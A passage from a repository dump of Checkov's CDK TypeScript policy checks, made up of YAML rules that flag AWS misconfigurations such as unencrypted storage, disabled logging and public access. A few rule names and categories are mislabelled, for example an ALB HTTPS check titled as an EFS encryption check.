$AWS.CfnLoadBalancer(, { , loadBalancerAttributes: [, {'key': 'routing.http.drop_invalid_header_fields.enabled', 'value': 'true'} ,], , type: 'application' }, ) - not_pattern: | new $AWS.CfnLoadBalancer(, { , loadBalancerAttributes: [, {'value': 'true', 'key': 'routing.http.drop_invalid_header_fields.enabled'} ,], , type: 'application' }, ) ================================================ FILE: checkov/cdk/checks/typescript/ALBListenerHTTPS.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_2 name: Ensure EFS is securely encrypted category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnListener() conditions: - not_pattern: | new $AWS.CfnListener(, { , protocol: 'HTTPS', }, ) - not_pattern: | new $AWS.CfnListener(, { , protocol: 'TLS', }, ) - not_pattern: | new $AWS.CfnListener(, { , protocol: 'TCP', }, ) - not_pattern: | new $AWS.CfnListener(, { , protocol: 'UDP', }, ) - not_pattern: | new $AWS.CfnListener(, { , protocol: 'TCP_UDP', }, ) - not_pattern: | new $AWS.CfnListener(, { defaultActions: [, {type: 'redirect', redirectConfig:{protocol: 'HTTPS'}} , ] }, ) ================================================ FILE: checkov/cdk/checks/typescript/APIGatewayAccessLogging.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_76 name: Ensure API Gateway has Access Logging enabled category: LOGGING framework: cdk scope: languages: - typescript definition: patterns: or: - pattern: new $AWS.CfnStage() conditions: - not_pattern: | new $AWS.CfnStage(, { , accessLogSetting: { , destinationArn: $ARG , }, } , ) - pattern: $AWS.Api() conditions: - not_pattern: | new $AWS.Api(, { , accessLogSetting: { , destinationArn: $ARG , }, } , ) ================================================ FILE: checkov/cdk/checks/typescript/APIGatewayAuthorization.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_59 name: Ensure there is no open access to back-end resources through API category: GENERAL_SECURITY framework: cdk scope: languages: - typescript definition: patterns: or: - pattern: | const $METHOD = $RESOURCE.addMethod($HTTP_METHOD, , { , apiKeyRequired: false }); conditions: - not_pattern: | const $METHOD = $RESOURCE.addMethod($HTTP_METHOD, , { , authorizationType: $AUTH }); - metavariable: $AUTH regex: ($IMPORT.AuthorizationType.COGNITO|$IMPORT.AuthorizationType.IAM|$IMPORT.AuthorizationType.CUSTOM) - pattern: | const $METHOD = $RESOURCE.addMethod($HTTP_METHOD, , { , authorizationType: $IMPORT.AuthorizationType.NONE, }); conditions: - not_pattern: | const $METHOD = $RESOURCE.addMethod($HTTP_METHOD, , { , apiKeyRequired: false }); conditions: - metavariable: $HTTP_METHOD not_regex: OPTIONS ================================================ FILE: checkov/cdk/checks/typescript/APIGatewayCacheEnable.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_120 name: Ensure API Gateway caching is enabled category: BACKUP_AND_RECOVERY framework: cdk scope: languages: - typescript definition: patterns: or: - pattern: new $AWS.Stage() conditions: - not_pattern: | new $AWS.Stage(, { , cacheClusterEnabled: true, } , ) - pattern: new $AWS.CfnApi() conditions: - not_pattern: | new $AWS.CfnApi(, { , cacheClusterEnabled: true , } , ) ================================================ FILE: checkov/cdk/checks/typescript/APIGatewayV2AccessLogging.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_95 name: Ensure API Gateway V2 has Access Logging enabled category: LOGGING framework: cdk scope: languages: - typescript definition: pattern: new $AWS.$FUNC() conditions: - not_pattern: | new $AWS.$FUNC(, { , accessLogSettings: {, destinationArn: $ARG ,} ,}, ) - metavariable: $FUNC regex: (CfnStage|CfnApi) ================================================ FILE: checkov/cdk/checks/typescript/APIGatewayXray.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_73 name: Ensure API Gateway has X-Ray Tracing enabled category: LOGGING framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnStage() conditions: - not_pattern: | new $AWS.CfnStage(, {, tracingEnabled: true, }, ) ================================================ FILE: checkov/cdk/checks/typescript/AmazonMQBrokerPublicAccess.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_69 name: Ensure Amazon MQ Broker should not have public access category: GENERAL_SECURITY framework: cdk scope: languages: - typescript definition: pattern: | new $AWS.CfnBroker(, { , publiclyAccessible: true, }, ) ================================================ FILE: checkov/cdk/checks/typescript/AppSyncFieldLevelLogs.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_194 name: Ensure AppSync has Field-Level logs enabled category: LOGGING framework: cdk scope: languages: - typescript definition: patterns: or: - pattern: | const $logConfig: $IMPORT.LogConfig = $CONFIG; - pattern: | new $IMPORT.GraphqlApi($ARG1, $ARG2, {, logConfig: $CONFIG, }); conditions: - or: - metavariable: $CONFIG not_pattern: | {, fieldLogLevel: $ARG, } - metavariable: $CONFIG pattern: | {, fieldLogLevel: $ARG, } conditions: - metavariable: $ARG regex: (NONE) ================================================ FILE: checkov/cdk/checks/typescript/AppSyncLogging.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_193 name: Ensure AppSync has Logging enabled category: LOGGING framework: cdk scope: languages: - typescript definition: pattern: | const $logConfig: appsync.LogConfig = { }; conditions: - not_pattern: | new $IMPORT.GraphqlApi(, , { , role: }); - not_pattern: | const $LOG: $IMPORT.LogConfig = { role: }; new $IMPORT.GraphqlApi(, , { , $LOG}); ================================================ FILE: checkov/cdk/checks/typescript/AthenaWorkgroupConfiguration.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_82 name: Ensure Athena Workgroup should enforce configuration to prevent client disabling encryption category: GENERAL_SECURITY framework: cdk scope: languages: - typescript definition: pattern: | new $IMPORT.CfnWorkGroup(, , $WORKGROUP ); conditions: - not_within: | const $WORKGROUP: $IMPORT.CfnWorkGroup.WorkGroupConfigurationProperty = { , enforceWorkGroupConfiguration: true, }; const $VAR1 = new $IMPORT.CfnWorkGroup(, , $WORKGROUP ); - not_pattern: | new $IMPORT.CfnWorkGroup(, , {, enforceWorkGroupConfiguration: true }); ================================================ FILE: checkov/cdk/checks/typescript/AuroraEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_96 name: Ensure all data stored in Aurora is securely encrypted at rest category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnDBCluster() conditions: - not_pattern: | new $AWS.CfnDBCluster(, { , storageEncrypted: true ,}, ) ================================================ FILE: checkov/cdk/checks/typescript/BackupVaultEncrypted.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_166 name: Ensure Backup Vault is encrypted at rest using KMS CMK category: LOGGING framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnBackupVault() conditions: - not_pattern: | new $AWS.CfnBackupVault(, { , encryptionKeyArn: $ARG, }, ) ================================================ FILE: checkov/cdk/checks/typescript/CloudFrontTLS12.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_174 name: Verify CloudFront Distribution Viewer Certificate is using TLS v1.2 category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: | new $CF.CfnDistribution(, , $VCP) conditions: - not_pattern: | const $VCP: $CF.CfnDistribution.ViewerCertificateProperty = { minimumProtocolVersion: 'TLSv1.2'}; - not_pattern: | const $PROPS: $CF.CfnDistributionProps = { , viewerCertificate: { , minimumProtocolVersion: 'TLSv1.2' } } new CfnDistribution(, $PROPS) - not_pattern: | new $CF.CfnDistribution(, , { , viewerCertificate: {, minimumProtocolVersion: 'TLSv1.2'} }) ================================================ FILE: checkov/cdk/checks/typescript/CloudTrailLogValidation.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_36 name: Ensure CloudTrail log file validation is enabled category: LOGGING framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnTrail() conditions: - not_pattern: | new $AWS.CfnTrail(, { , enableLogFileValidation: true , }, ) ================================================ FILE: checkov/cdk/checks/typescript/CloudWatchLogGroupKMSKey.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_158 name: Ensure that CloudWatch Log Group is encrypted by KMS category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: new $AWS.LogGroup() conditions: - not_pattern: | new $AWS.LogGroup(, {, encryptionKey: new $ENC.Key() , }, ) - not_pattern: | new $AWS.LogGroup(, {, encryptionKey: $ARG ,} , ) ================================================ FILE: checkov/cdk/checks/typescript/CloudWatchLogGroupRetention.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_66 name: Ensure that CloudWatch Log Group specifies retention days category: LOGGING framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnLogGroup() conditions: - not_pattern: | new $AWS.CfnLogGroup(, {, retentionInDays: $NUM , } , ) ================================================ FILE: checkov/cdk/checks/typescript/CloudfrontDistributionEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_34 name: Ensure CloudFront distribution ViewerProtocolPolicy is set to HTTPS category: ENCRYPTION framework: cdk scope: languages: - typescript definition: patterns: or: - pattern: | new $AWS.CfnDistribution(, {distributionConfig: {, defaultCacheBehavior: {, viewerProtocolPolicy: 'allow-all' , } , }, ) - pattern: | new $AWS.Distribution(, {, defaultBehavior: {, viewerProtocolPolicy: $AWS.ViewerProtocolPolicy.ALLOW_ALL ,} , },) ================================================ FILE: checkov/cdk/checks/typescript/CloudfrontDistributionLogging.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_86 name: Ensure CloudFront distribution has Access Logging enabled category: LOGGING framework: cdk scope: languages: - typescript definition: patterns: or: - pattern: new $AWS.Distribution() conditions: - not_pattern: | new $AWS.Distribution(, {, enableLogging: true ,} ,) - pattern: new $AWS.CfnDistribution() conditions: - not_pattern: | new $AWS.CfnDistribution(, {, distributionConfig: {, logging: {, bucket: $ARG ,} ,} ,} , ) ================================================ FILE: checkov/cdk/checks/typescript/CloudtrailEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_35 name: Ensure CloudTrail logs are encrypted at rest using KMS CMKs category: LOGGING framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnTrail() conditions: - not_pattern: | new $AWS.CfnTrail(, {, kmsKeyId: $ARG, } ,) ================================================ FILE: checkov/cdk/checks/typescript/CloudtrailMultiRegion.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_67 name: Ensure CloudTrail is enabled in all Regions category: LOGGING framework: cdk scope: languages: - typescript definition: patterns: or: - pattern: new $AWS.Trail() conditions: - not_pattern: | new $AWS.Trail(, {, isMultiRegionTrail: true, } ,) - pattern: new $AWS.CfnTrail() conditions: - not_pattern: | new $AWS.CfnTrail(, {, isMultiRegionTrail: true, } ,) ================================================ FILE: checkov/cdk/checks/typescript/CodeBuildProjectEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_78 name: Ensure that CodeBuild Project encryption is not disabled category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: new $AWS.Project() conditions: - not_pattern: | new $AWS.Project(, {, encryptionKey: new $ENC.Key() ,} , ) - not_pattern: | new $AWS.Project(, {, encryptionKey: $ARG ,} , ) ================================================ FILE: checkov/cdk/checks/typescript/DAXEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_47 name: Ensure DAX is encrypted at rest (default is unencrypted) category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnCluster() conditions: - not_pattern: | new $AWS.CfnCluster(, {, sseSpecification: {, enabled: true ,} ,} , ) ================================================ FILE: checkov/cdk/checks/typescript/DMSReplicationInstancePubliclyAccessible.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_89 name: DMS replication instance should not be publicly accessible category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: | new $AWS.CfnReplicationInstance(, {, publiclyAccessible: true, }, ) ================================================ FILE: checkov/cdk/checks/typescript/DocDBAuditLogs.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_104 name: Ensure DocumentDB has audit logs enabled category: LOGGING framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnDBClusterParameterGroup() conditions: - not_pattern: | new $AWS.CfnDBClusterParameterGroup(, {, parameters: {, audit_logs: 'enabled' ,}, } , ) ================================================ FILE: checkov/cdk/checks/typescript/DocDBEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_74 name: Ensure DocumentDB is encrypted at rest (default is unencrypted) category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnDBCluster() conditions: - not_pattern: | new $AWS.CfnDBCluster(, {, storageEncrypted: true, } , ) ================================================ FILE: checkov/cdk/checks/typescript/DocDBTLS.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_90 name: Ensure DocumentDB TLS is not disabled category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: | new $AWS.CfnDBClusterParameterGroup(, {, parameters: {, tls: 'disabled' ,}, } ,) ================================================ FILE: checkov/cdk/checks/typescript/DynamodbGlobalTableRecovery.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_165 name: Ensure DynamoDB global table point in time recovery (backup) is enabled category: BACKUP_AND_RECOVERY framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnGlobalTable() conditions: - not_pattern: | new $AWS.CfnGlobalTable(, {, pointInTimeRecoverySpecification: {, pointInTimeRecoveryEnabled: true ,} ,} , ) ================================================ FILE: checkov/cdk/checks/typescript/DynamodbRecovery.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_28 name: Ensure DynamoDB point-in-time recovery (backup) is enabled category: BACKUP_AND_RECOVERY framework: cdk scope: languages: - typescript definition: patterns: or: - pattern: new $AWS.CfnTable() conditions: - not_pattern: | new $AWS.CfnTable(, {, pointInTimeRecoverySpecification: {, pointInTimeRecoveryEnabled: true ,} ,} , ) - pattern: new $AWS.Table() conditions: - not_pattern: | new $AWS.Table(, {, pointInTimeRecovery: true ,} ,) ================================================ FILE: checkov/cdk/checks/typescript/EBSEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_3 name: Ensure all data stored in the EBS is securely encrypted category: ENCRYPTION framework: cdk scope: languages: - typescript definition: patterns: or: - pattern: new $AWS.Volume() conditions: - not_pattern: | new $AWS.Volume(, {, encrypted: true ,} , ) - pattern: new $AWS.CfnVolume() conditions: - not_pattern: | new $AWS.CfnVolume(, {, encrypted: true ,} , ) ================================================ FILE: checkov/cdk/checks/typescript/EC2PublicIP.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_88 name: EC2 instance should not have public IP category: NETWORKING framework: cdk scope: languages: - typescript definition: patterns: or: - pattern: | new $AWS.Instance(, { , associatePublicIpAddress: true, }, ) - pattern: | new $AWS.LaunchTemplate(, { , associatePublicIpAddress: true, }, ) ================================================ FILE: checkov/cdk/checks/typescript/ECRImageScanning.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_163 name: Ensure ECR image scanning on push is enabled category: GENERAL_SECURITY framework: cdk scope: languages: - typescript definition: pattern: | new $AWS.Repository() conditions: - not_pattern: | new $AWS.Repository(, { , imageScanOnPush: true, }, ) ================================================ FILE: checkov/cdk/checks/typescript/ECRImmutableTags.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_51 name: Ensure ECR Image Tags are immutable category: GENERAL_SECURITY framework: cdk scope: languages: - typescript definition: pattern: new $AWS.Repository() conditions: - not_pattern: | new $AWS.Repository(, { , imageTagMutability: ecr.TagMutability.IMMUTABLE, }, ) ================================================ FILE: checkov/cdk/checks/typescript/ECRRepositoryEncrypted.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_136 name: Ensure that ECR repositories are encrypted using KMS category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: new $AWS.Repository() conditions: - not_pattern: | new $ECR.Repository(, { , encryption: $ECR.RepositoryEncryption.KMS, }, ) - not_pattern: | new $ECR.Repository(, { , encryptionKey: new $KMS.Key(), }, ) ================================================ FILE: checkov/cdk/checks/typescript/ECSClusterContainerInsights.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_65 name: Ensure container insights are enabled on ECS cluster category: LOGGING framework: cdk scope: languages: - typescript definition: patterns: or: - pattern: new ecs.Cluster() conditions: - not_pattern: | new $AWS.Cluster(, { , containerInsights: true, }, ) - not_pattern: | new $AWS.Cluster(, { , containerInsightsV2: $AWS.ContainerInsights.ENABLED, }, ) - not_pattern: | new $AWS.Cluster(, { , containerInsightsV2: $AWS.ContainerInsights.ENHANCED, }, ) - pattern: new ecs.CfnCluster() conditions: - not_pattern: | new $AWS.CfnCluster(, { , clusterSettings: [, {name: 'containerInsights', value: 'enabled'}, ], }, ) - not_pattern: | new $AWS.CfnCluster(, { , clusterSettings: [, {name: 'containerInsights', value: 'enhanced'}, ], }, ) - not_pattern: | new $AWS.CfnCluster(, { , clusterSettings: [, {value: 'enabled', name: 'containerInsights'}, ], }, ) - not_pattern: | new $AWS.CfnCluster(, { , clusterSettings: [, {value: 'enhanced', name: 'containerInsights'}, ], }, ) ================================================ FILE: checkov/cdk/checks/typescript/ECSTaskDefinitionEFSVolumeEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_97 name: Ensure Encryption in transit is enabled for EFS volumes in ECS Task definitions category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: | new $AWS.$FUNC(, {, volumes: [, {, efsVolumeConfiguration: {, transitEncryption: "DISABLED", }, },],}) conditions: or: - metavariable: $FUNC regex: (TaskDefinition|Ec2TaskDefinition|FargateTaskDefinition|ExternalTaskDefinition) ================================================ FILE: checkov/cdk/checks/typescript/EFSEncryptionEnabled.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_42 name: Ensure EFS is securely encrypted category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: new $AWS.FileSystem() conditions: - not_pattern: | new $AWS.FileSystem(, { , encrypted: true, }, ) ================================================ FILE: checkov/cdk/checks/typescript/EKSSecretsEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_58 name: Ensure EKS Cluster has Secrets Encryption Enabled category: KUBERNETES framework: cdk scope: languages: - typescript definition: pattern: | new $AWS.CfnCluster() conditions: - not_pattern: | new $AWS.CfnCluster(, {, encryptionConfig: [, { , resources: ['secrets'], }, ], }, ) ================================================ FILE: checkov/cdk/checks/typescript/ELBAccessLogs.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_92 name: Ensure the ELB has access logging enabled category: LOGGING framework: cdk scope: languages: - typescript definition: pattern: new $AWS.LoadBalancer() conditions: - not_pattern: | new $AWS.LoadBalancer(, {, accessLoggingPolicy: {, enabled: true, } ,}) ================================================ FILE: checkov/cdk/checks/typescript/ELBv2AccessLogs.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_91 name: Ensure the ELBv2 (Application/Network) has access logging enabled category: LOGGING framework: cdk scope: languages: - typescript definition: pattern: const $ELB = new $AWS.ApplicationLoadBalancer(); conditions: - not_within: | const $ELB = new $AWS.ApplicationLoadBalancer() $ELB.logAccessLogs() ================================================ FILE: checkov/cdk/checks/typescript/ElasticacheReplicationGroupEncryptionAtRest.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_29 name: Ensure all data stored in the ElastiCache Replication Group is securely encrypted at rest category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnReplicationGroup() conditions: - not_pattern: | new $AWS.CfnReplicationGroup(, {, atRestEncryptionEnabled: true , }, ) ================================================ FILE: checkov/cdk/checks/typescript/ElasticacheReplicationGroupEncryptionAtTransit.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_30 name: Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnReplicationGroup() conditions: - not_pattern: | new $AWS.CfnReplicationGroup(, {, transitEncryptionEnabled: true , }, ) ================================================ FILE: checkov/cdk/checks/typescript/ElasticacheReplicationGroupEncryptionAtTransitAuthToken.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_31 name: Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit and has auth token category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnReplicationGroup() conditions: - not_pattern: | new $AWS.CfnReplicationGroup(, {, transitEncryptionEnabled: true, , authToken: $VAR, }, ) - not_pattern: | new $AWS.CfnReplicationGroup(, {, authToken: $VAR, , transitEncryptionEnabled: true, }, ) ================================================ FILE: checkov/cdk/checks/typescript/ElasticsearchDomainEnforceHTTPS.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_83 name: Ensure Elasticsearch Domain enforces HTTPS category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: new $AWS.Domain() conditions: - not_pattern: | new $AWS.Domain(, {, enforceHttps: true , }, ) ================================================ FILE: checkov/cdk/checks/typescript/ElasticsearchDomainLogging.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_84 name: Ensure Elasticsearch Domain Logging is enabled category: LOGGING framework: cdk scope: languages: - typescript definition: pattern: new $AWS.Domain() conditions: - not_pattern: | new $AWS.Domain(, {, logging: {, appLogEnabled: true, }, }, ) ================================================ FILE: checkov/cdk/checks/typescript/ElasticsearchEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_5 name: Ensure all data stored in the Elasticsearch is securely encrypted at rest category: ENCRYPTION framework: cdk scope: languages: - typescript definition: or: - pattern: new $PACKAGE.aws_elasticsearch.CfnDomain(, , { }); conditions: - not_pattern: | new $PACKAGE.aws_elasticsearch.CfnDomain(, , { , encryptionAtRestOptions: { , enabled: true, }, }); - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: "$X = { , enabled: false, }" conditions: - metavariable: $X type: aws-cdk-lib.aws_elasticsearch.CfnDomain.EncryptionAtRestOptionsProperty ================================================ FILE: checkov/cdk/checks/typescript/ElasticsearchNodeToNodeEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_6 name: Ensure all Elasticsearch has node-to-node encryption enabled category: ENCRYPTION framework: cdk scope: languages: - typescript definition: or: - pattern: new $PACKAGE.aws_elasticsearch.CfnDomain(, , { }); conditions: - not_pattern: | new $PACKAGE.aws_elasticsearch.CfnDomain(, , { , nodeToNodeEncryptionOptions: { , enabled: true, }, }); - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: "$X = { , enabled: false, }" conditions: - metavariable: $X type: aws-cdk-lib.aws_elasticsearch.CfnDomain.NodeToNodeEncryptionOptionsProperty ================================================ FILE: checkov/cdk/checks/typescript/GlueDataCatalogEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_94 name: Ensure Glue Data Catalog Encryption is enabled category: LOGGING framework: cdk scope: languages: - typescript definition: or: - pattern: new $PACKAGE.aws_glue.CfnDataCatalogEncryptionSettings(, , { }) conditions: - not_pattern: | new $PACKAGE.aws_glue.CfnDataCatalogEncryptionSettings(, , { , dataCatalogEncryptionSettings: { , connectionPasswordEncryption :{ , returnConnectionPasswordEncrypted: true , }, , encryptionAtRest:{ , catalogEncryptionMode: "SSE-KMS", }, }, }) - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: | $X = { , dataCatalogEncryptionSettings: { }, } conditions: - not_pattern: | $X = { , dataCatalogEncryptionSettings: { , connectionPasswordEncryption: { , returnConnectionPasswordEncrypted: true, }, , encryptionAtRest: { , catalogEncryptionMode: "SSE-KMS", }, }, } - metavariable: $X type: aws-cdk-lib.aws_glue.CfnDataCatalogEncryptionSettingsProps ================================================ FILE: checkov/cdk/checks/typescript/GlueSecurityConfiguration.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_99 name: Ensure Glue Security Configuration Encryption is enabled category: LOGGING framework: cdk scope: languages: - typescript definition: or: - pattern: new $PACKAGE.aws_glue.CfnSecurityConfiguration(, , { }) conditions: - not_pattern: | new $PACKAGE.aws_glue.CfnSecurityConfiguration(, , { , encryptionConfiguration: { , cloudWatchEncryption: { , cloudWatchEncryptionMode: 'SSE-KMS', }, , jobBookmarksEncryption: { , jobBookmarksEncryptionMode: 'CSE-KMS', }, , s3Encryptions: [ , { , s3EncryptionMode: 'SSE-KMS', }, ], }, }) - not_pattern: | new $PACKAGE.aws_glue.CfnSecurityConfiguration(, , { , encryptionConfiguration: { , cloudWatchEncryption: { , cloudWatchEncryptionMode: 'SSE-KMS', }, , jobBookmarksEncryption: { , jobBookmarksEncryptionMode: 'CSE-KMS', }, , s3Encryptions: [ , { , s3EncryptionMode: 'SSE-S3', }, ], }, }) - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: "$X = { , encryptionConfiguration: { }, }" conditions: - not_pattern: | $X = { , encryptionConfiguration: { , cloudWatchEncryption: { , cloudWatchEncryptionMode: "SSE-KMS", }, , jobBookmarksEncryption: { , jobBookmarksEncryptionMode: 'CSE-KMS', }, , s3Encryptions: [ , { , s3EncryptionMode: 'SSE-KMS', }, ], }, } - not_pattern: | $X = { , encryptionConfiguration: { , cloudWatchEncryption: { , cloudWatchEncryptionMode: 'SSE-KMS', }, , jobBookmarksEncryption: { , jobBookmarksEncryptionMode: 'CSE-KMS', }, , s3Encryptions: [ , { , s3EncryptionMode: 'SSE-S3', }, ], }, } - metavariable: $X type: aws-cdk-lib.aws_glue.CfnSecurityConfigurationProps ================================================ FILE: checkov/cdk/checks/typescript/GlueSecurityConfigurationEnabled.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_195 name: Ensure Glue component has a security configuration associated category: ENCRYPTION framework: cdk scope: languages: - typescript definition: or: - pattern: new $PACKAGE.aws_glue.CfnCrawler(, , { }) conditions: - not_pattern: | new $PACKAGE.aws_glue.CfnCrawler(, , { , crawlerSecurityConfiguration: $CON, } ) - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: new $PACKAGE.aws_glue.CfnDevEndpoint(, , { }) conditions: - not_pattern: | new $PACKAGE.aws_glue.CfnDevEndpoint(, , { , securityConfiguration: $VAL, }) - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: new $PACKAGE.aws_glue.CfnJob(, , { }) conditions: - not_pattern: | new $PACKAGE.aws_glue.CfnJob(, , { , securityConfiguration: $VAL, }) - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: "$X = { }" conditions: - metavariable: $X type: aws-cdk-lib.aws_glue.CfnCrawlerProps - not_pattern: | $X = { , crawlerSecurityConfiguration: $VAL, } - pattern: "$X = { }" conditions: - metavariable: $X type: aws-cdk-lib.aws_glue.CfnDevEndpointProps - not_pattern: | $X = { , securityConfiguration: $VAL, } - pattern: "$X = { }" conditions: - metavariable: $X type: aws-cdk-lib.aws_glue.CfnJobProps - not_pattern: | $X = { , securityConfiguration: $VAL, } ================================================ FILE: checkov/cdk/checks/typescript/IAMPolicyAttachedToGroupOrRoles.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_40 name: Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) category: IAM framework: cdk scope: languages: - typescript definition: or: - pattern: | new $PACKAGE.aws_iam.Policy(, , { , users: , }) conditions: - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: | $P = new $PACKAGE.aws_iam.Policy() $P.attachToUser() conditions: - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: "$X = { , users :, }" conditions: - metavariable: $X type: aws-cdk-lib.aws_iam.PolicyProps ================================================ FILE: checkov/cdk/checks/typescript/KinesisStreamEncryptionType.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_43 name: Ensure Kinesis Stream is securely encrypted category: ENCRYPTION framework: cdk scope: languages: - typescript definition: or: - pattern: new $PACKAGE.aws_kinesis.CfnStream(, , { }) conditions: - not_pattern: | new $PACKAGE.aws_kinesis.CfnStream(, , { , streamEncryption: { , encryptionType: "KMS", }, }) - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: "$X = { }" conditions: - not_pattern: | $X = { , streamEncryption: { , encryptionType: "KMS", }, } - metavariable: $X type: aws-cdk-lib.aws_kinesis.CfnStreamProps ================================================ FILE: checkov/cdk/checks/typescript/LambdaDLQConfigured.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_116 name: Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ) category: GENERAL_SECURITY framework: cdk scope: languages: - typescript definition: or: - pattern: new $PACKAGE.aws_lambda.Function(, , { }) conditions: - not_pattern: | new $PACKAGE.aws_lambda.Function(, , { , deadLetterQueue: , , deadLetterQueueEnabled: true ,}) - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: new $PACKAGE.aws_lambda.CfnFunction(, , { }) conditions: - not_pattern: | new $PACKAGE.aws_lambda.CfnFunction(, , { , deadLetterConfig: , }) - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: new $PACKAGE.aws_sam.CfnFunction(, , { }) conditions: - not_pattern: | new $PACKAGE.aws_sam.CfnFunction(, , { , deadLetterQueue: , }) - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: $X = { } conditions: - not_pattern: | $X = { , deadLetterQueue: , , deadLetterQueueEnabled: true ,} - metavariable: $X type: aws-cdk-lib.aws_lambda.FunctionProps - pattern: $X = { } conditions: - not_pattern: | $X = { , deadLetterConfig: , } - metavariable: $X type: 